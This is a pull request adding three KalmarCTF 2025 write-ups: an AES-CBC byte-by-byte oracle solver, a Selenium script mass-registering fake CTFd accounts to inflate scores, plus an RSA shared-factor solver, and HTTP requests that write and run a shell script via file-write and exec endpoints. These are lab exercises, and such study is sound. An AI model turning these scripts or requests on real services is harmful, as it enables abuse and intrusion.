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Merge pull request #164 from VladSteopoaie/main
Added KalmarCTF writeups
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‎config.yaml‎

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tags: [ 'rev', 'web', 'osint' ]
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description:
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- When life gives you pears, don't write a book about it
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- name: h3pha
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link: https://github.com/VladSteopoaie/
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picture: https://avatars.githubusercontent.com/u/69504268?s=400&u=0bb78ff707338ad58e677d856fbe92766e116010&v=4
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tags: [ 'pwn', 'web', 'rev', 'misc', 'network' ]
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description:
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- Don't hate me, but... Try harder!
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excludedSections:
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- about
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- events

‎content/KalmarCTF_2025/Very_Serious_Cryptography.md‎

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---
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title: Very Serious Cryptography
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date: 2025-03-10T03:15:35+03:00
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description: Writeup for Very Serious Cryptography [KalmarCTF 2025]
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author: h3pha
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tags:
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- crypto
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draft: false
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---
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___
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>This writeup is just a better explanation of [this](https://connor-mccartney.github.io/cryptography/other/KalmarCTF2025#very-serious-cryptography) one. Make sure to check it too!
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## Challenge Description
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As CTF becomes more mainstream, a troubling new trend is emerging of player fanclubs becoming so large that top players and challenge authors are having their lives disrupted from the sheer volume of valentines gifts they are receiving! With some instances of the extreme valentines pressure even leading to the last minute postponement of major CTFs!?!
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As such, we have decided to expand our traditional CTF valentines cards service, to provide a utility for efficiently generating meaningful, romantic gifts. We hope this will enable busy CTF players to be all set for the upcoming white day, and the huge number of return gifts they will inevitably have to send back, ensuring that no more CTF's will have to be postponed this year!
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Note: Our infra team was worried that the sheer number of gifts required could take down our servers. But luckily i stumbled upon a solution that lets me generate them much more efficiently! Thanks to [https://x.com/veorq/status/1805877920306499868](https://x.com/veorq/status/1805877920306499868)
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nc very-serious.chal-kalmarc.tf 2257
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## Intuition
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Challenge file:
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```python
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from Crypto.Cipher import AES
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from Crypto.Util.Padding import pad
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import os
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with open("flag.txt", "rb") as f:
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flag = f.read()
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key = os.urandom(16)
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# Efficient service for pre-generating personal, romantic, deeply heartfelt white day gifts for all the people who sent you valentines gifts
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for _ in range(1024):
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# Which special someone should we prepare a truly meaningful gift for?
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recipient = input("Recipient name: ")
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# whats more romantic than the abstract notion of a securely encrypted flag?
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romantic_message = f'Dear {recipient}, as a token of the depth of my feelings, I gift to you that which is most precious to me. A {flag}'
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aes = AES.new(key, AES.MODE_CBC, iv=b'preprocessedlove')
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print(f'heres a thoughtful and unique gift for {recipient}: {aes.decrypt(pad(romantic_message.encode(), AES.block_size)).hex()}')
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```
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The idea behind this one is to use the decryption property of `AES-CBC` that uses the IV to decrypt the first block and then it uses the past blocks to decrypt next blocks of data.
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This means that we can brute force each character of the flag like this:
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Text to encrypt: `Dear {our input} , as a token of the depth of my feelings, I gift to you that which is most precious to me. A {flag}`
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To brute force the first character we ensure that the input we give will pad the text in such a way so that the first character of the flag is the last character in a block.
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=> `len("Dear {our input} , as a token of the depth of my feelings, I gift to you that which is most precious to me. A") == 15 mod 16` => `padding`
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We encrypt the text and then we can use as input this:
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`Dear {padding} , as a token of the depth of my feelings, I gift to you that which is most precious to me. A ` + character to brute force.
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Now if we compare all the encrypted messages with the original encrypted text we can find the character from the flag.
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Repeating this for all the characters until we reach `}` will give us the whole flag.
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## Solution
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Solver:
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```python
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from pwn import *
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charset = "abcdefghijklmnopqrstuvwxyz'{}_"
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prefix = "Dear "
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middle = ", as a token of the depth of my feelings, I gift to you that which is most precious to me. A "
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flag = ""
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p = process(["python", "chal.py"])
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# p = remote("very-serious.chal-kalmarc.tf", 2257)
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def send_input_list(p, input_list):
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output_list = []
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for i in input_list:
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p.sendline(i.encode())
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# takes only the encrypted text
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output = bytes.fromhex(p.recvline().decode().split()[-1])
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output_list.append(output)
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return output_list
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while "}" not in flag:
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try:
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# ensure that the character we are searching is at the end of the block
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padding = "_" * ((15 - len(prefix + middle + flag)) % 16)
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# this is where the original flag is encrypted
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original = send_input_list(p, [padding])[0]
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# create all possible variants of the characters withing the flag
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brute_input = [padding + middle + flag + c for c in charset]
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# send the variants, and receive all encryptions
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brute_output = send_input_list(p, brute_input)
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# this is the position of the end of the block
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character_position = len(prefix + padding + middle + flag) + 1
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for i in range(len(brute_output)):
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if brute_output[i][:character_position] == original[:character_position]:
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flag += charset[i]
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print(flag)
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except EOFError:
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p = process(["python", "chal.py"])
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```
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### Flag
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`kalmar{i_wonder_how_many_challenges_have_been_made_based_off_this_tweet}`

‎content/KalmarCTF_2025/_index.md‎

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---
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title: KalmarCTF 2025
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date: 2025-03-10T02:46:38+03:00
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description: Writeups for [KalmarCTF 2025]
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place: 145
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total: 287
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---

‎content/KalmarCTF_2025/babyKalmarCTF.md‎

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---
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title: babyKalmarCTF
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date: 2025-03-10T03:10:19+03:00
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description: Writeup for babyKalmarCTF [KalmarCTF 2025]
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author: h3pha
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tags:
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- misc
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draft: false
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---
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___
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## Challenge Description
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Ever played a CTF inside a CTF?
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We were looking for a new scoring algorithm which would both reward top teams for solving super hard challenges, but also ensure that the easiest challenges wouldn't go to minimum straight away if more people played than we expected.
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Thats when we came across this ingenious suggestion! https://github.com/sigpwny/ctfd-dynamic-challenges-mod/issues/1
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We've implemented it this scoring idea(see here: https://github.com/blatchley/ctfd-dynamic-challenges-mod ) and spun up a small test ctf to test it out.
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If you manage to win babykalmarCTF, we'll even give you a flag at /flag!
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Spin up your own personal babykalmarCTF here: https://lab1.kalmarc.tf/
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Note: Rather than each member starting their own, we encourage one person to make a remote for your team, and then share the link with everyone else! Please be nice to instances, getting flag doesn't involve heavy compute/"hacking CTFd" or abuse on remote.
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Its solvable through very normal interactions with a CTFd instance. We encourage the whole team working together on the same remote.
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## Intuition
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After analyzing the links provided, I saw that the points for the completed challenges are based on the number of teams paying the CTF. So if we manage to create a lot of teams we can increase the points for each challenge.
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## Solution
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Create users with this script:
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```python
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from selenium import webdriver
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from selenium.webdriver.common.by import By
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from selenium.webdriver.common.keys import Keys
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import time
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url = "https://4ff92cbb806a6203161d7da5b1400ac4-39338.inst1.chal-kalmarc.tf/"
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driver = webdriver.Chrome()
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for i in range(0, 100):
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driver.get(url + "register")
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time.sleep(0.5)
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# create user
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driver.find_element(By.NAME, "name").send_keys(str(i))
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driver.find_element(By.NAME, "email").send_keys(str(i) + "@a.a")
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driver.find_element(By.NAME, "password").send_keys(str(i))
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driver.find_element(By.ID, "_submit").click()
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time.sleep(0.3)
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# create team
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driver.get(url + "/teams/new")
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time.sleep(0.3)
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driver.find_element(By.NAME, "name").send_keys(str(i))
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driver.find_element(By.NAME, "password").send_keys(str(i))
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driver.find_element(By.ID, "_submit").click()
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time.sleep(0.3)
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driver.get(url + "/logout")
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time.sleep(0.3)
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driver.quit()
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```
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I let the script create around 100 teams.
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Solved the challenges inside the babyCTF:
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Welcome challenge: `babykalmar{welcome_to_babykalmar_CTF}`
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Rev challenge: `babykalmar{string_compare_rev_ayoooooooo}`
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Misc challenge: `BABYKALMAR{SUPERORIGINALMORSECODECHALLENGE}`
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Crypto challenge: `babykalmar{wow_you_are_an_rsa_master!!!!!}`
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OSINT challenge: `babykalmar{aarhus}`
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And got the flag at `/flag`.
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### Flag
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`kalmar{w0w_y0u_b34t_k4lm4r_1n_4_c7f?!?}`
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## Additional
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For RSA challenge:
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```python
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import math
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from Crypto.Util.number import long_to_bytes
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n1 = 92045071469462918382808444819504749563961839349096597384482544087908047186245341810642171828493439415203636331750819922984117530107215197072782880474039650967711411408034481971170502798025943494586125686145145275611434604037182033168196599652119558449773401870500131970644786235514317736653798125756404891127
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c1 = 83837022114533675382122799116377123399567305874353525217531313052347013266429457590484976944405567987615711918756165213164809141929523845319047846779529628627662566542055574929528850262048285117600900265045865263948170688845876052722196561247534915037323009007843324908963180407442831108561689170430284682827
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n2 = 138872353325175299307460237192549876070806082965466021111327520189900415231224864814489473847190673904249096844311163666118481717154197936898625500598207447786178788728989474031735348581801399821380599701957041743964351118199095341359179067904834006929292304447601473687076874217599854120530320878903822568483
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n3 = 96873643524161216047523283610645732806192956944624208819078561364455621631633510067022852244593247313195537163455457833157440906743895116798782534912117642844197952559448815829606193149605373700004399064513744456542191695589096233791113561406431990041145854326610075794048654641871205275800952496149515217589
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e = 65537
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# Factor the moduli using GCD
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q = math.gcd(n1, n2)
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p = n1 // q
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r = n2 // q
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assert p * r == n3, "Factorization failed"
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# Compute private exponent for n1
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phi_n1 = (p - 1) * (q - 1)
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d1 = pow(e, -1, phi_n1)
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# Decrypt the flag
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m = pow(c1, d1, n1)
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flag = long_to_bytes(m)
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print(flag.decode())
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```

‎content/KalmarCTF_2025/rwx-bronze.md‎

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---
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title: RWX-Bronze
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date: 2025-03-10T02:48:43+03:00
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description: Writeup for RWX-Bronze [KalmarCTF 2025]
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author: h3pha
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tags:
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- misc
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draft: false
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---
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___
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## Challenge Description
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We give you file read, file write and code execution. But can you get the flag? Let's start out gently.
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NOTE: If you get a 404 error, try using one of the endpoints described in the handout!
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## Intuition
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The challenge lets us execute commands of length 7, so we cannot execute `/would` with the necessary argument. My first attempt was to create a script file and run it with a command.
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## Solution
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Wrote the script into the `/tmp` directory:
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```
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POST /write?filename=/tmp/a HTTP/2
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#!/bin/sh
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/would you be so kind to provide me with a flag
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```
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Executed the script: `sh /*/a`
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```
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GET /exec?cmd=sh%20/*/a HTTP/2
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```
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### Flag
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`kalmar{ok_you_demonstrated_your_rwx_abilities_but_let_us_put_you_to_the_test_for_real_now}`

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